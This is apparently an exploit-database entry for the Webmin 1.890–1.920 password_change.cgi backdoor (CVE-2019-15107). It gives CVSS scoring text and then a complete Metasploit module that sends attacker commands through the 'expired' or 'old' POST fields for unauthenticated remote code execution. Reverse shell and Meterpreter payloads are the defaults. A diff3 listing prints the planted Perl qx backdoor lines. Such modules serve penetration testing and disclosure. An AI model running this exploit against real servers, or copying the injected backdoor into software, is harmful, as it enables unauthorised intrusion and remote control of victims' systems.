The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Webmin 1.920 password_change.cgi Backdoor
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin password_change.cgi Backdoor',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.
Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.
Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS', # (zkan Mustafa Akku) Discovery and independent module
'wvu' # This module and updated information about the backdoor
],
'References' => [
['CVE', '2019-15107'], # y tho
['URL', 'http://www.webmin.com/exploit.html'],
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
['URL', 'https://github.com/webmin/webmin/issues/947']
],
'DisclosureDate' => '2019-08-10',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
Opt::RPORT(10000),
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
vprint_error('Server did not respond')
return CheckCode::Unknown
end
version =
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
unless version
vprint_error('Webmin version not detected')
return CheckCode::Unknown
end
version = Gem::Version.new(version)
vprint_status("Webmin #{version} detected")
checkcode = CheckCode::Detected
unless version.between?(*target['Version'])
vprint_error("Webmin #{version} is not a supported target")
return CheckCode::Safe
end
vprint_good("Webmin #{version} is a supported target")
checkcode = CheckCode::Appears
res = execute_command("echo #{token}")
unless res
vprint_error('Webmin did not respond to check command')
return checkcode
end
if res.body.include?('Password changing is not enabled!')
vprint_error('Expired password changing disabled')
return CheckCode::Safe
end
if res.body.include?(token)
vprint_good('Webmin executed a benign check command')
checkcode = CheckCode::Vulnerable
else
vprint_error('Webmin did not execute our check command')
return CheckCode::Safe
end
checkcode
end
def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]
unless checkcodes.include?(check) || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
print_status("Configuring #{target.name} target")
case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")
res = execute_command(payload.encoded)
if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')
if res.body.empty?
print_error('Empty response body, no command output')
return
end
print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end
=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c
wvu@kharak:~/Downloads$
=end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' => {'Referer' => full_uri},
'vars_post' => {
# 1.890
'expired' => cmd,
# 1.900-1.920
'new1' => token,
'new2' => token,
'old' => cmd
}
}, 3.5)
end
def token
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
end
end